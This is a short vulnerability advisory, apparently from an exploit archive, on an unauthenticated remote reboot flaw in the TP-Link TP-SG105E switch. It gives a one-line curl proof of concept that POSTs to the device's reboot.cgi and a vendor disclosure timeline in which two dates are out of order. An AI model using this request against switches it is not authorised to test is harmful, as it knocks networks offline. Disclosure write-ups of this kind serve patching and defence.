Exploits / Vulnerability Discovered : 2020-01-24 |
Type : webapps |
Platform : hardware
This exploit / vulnerability Tplink tpsg105e 1.0.0 unauthenticated remote reboot is for educational purposes only and if it is used you will do on your own risk!
# TP-Link TP-SG105E 1.0.0 - Unauthenticated Remote Reboot
# The TP-Link TP-SG105E is a "5-Port Gigabit Easy Smart Switch".
# It features a web front end and an application (Easy Smart Configuration Utility)
# for easy configuration management.
# The device does not properly restrict access to an internal API.
# It is therefore possible to remotely reboot the device by sending a HTTP POST
# request.
---
# POC :
curl -d "reboot_op=reboot" -X POST http://192.168.1.10/reboot.cgi
---
Timeline :
2019-09-16 | Vendor notified
2019-09-25 | Reply (they will patch it)
2019-12-24 | First patch for testing
2019-12-19 | Confirmed the functionality of the patch
2020-01-14 | Public patch available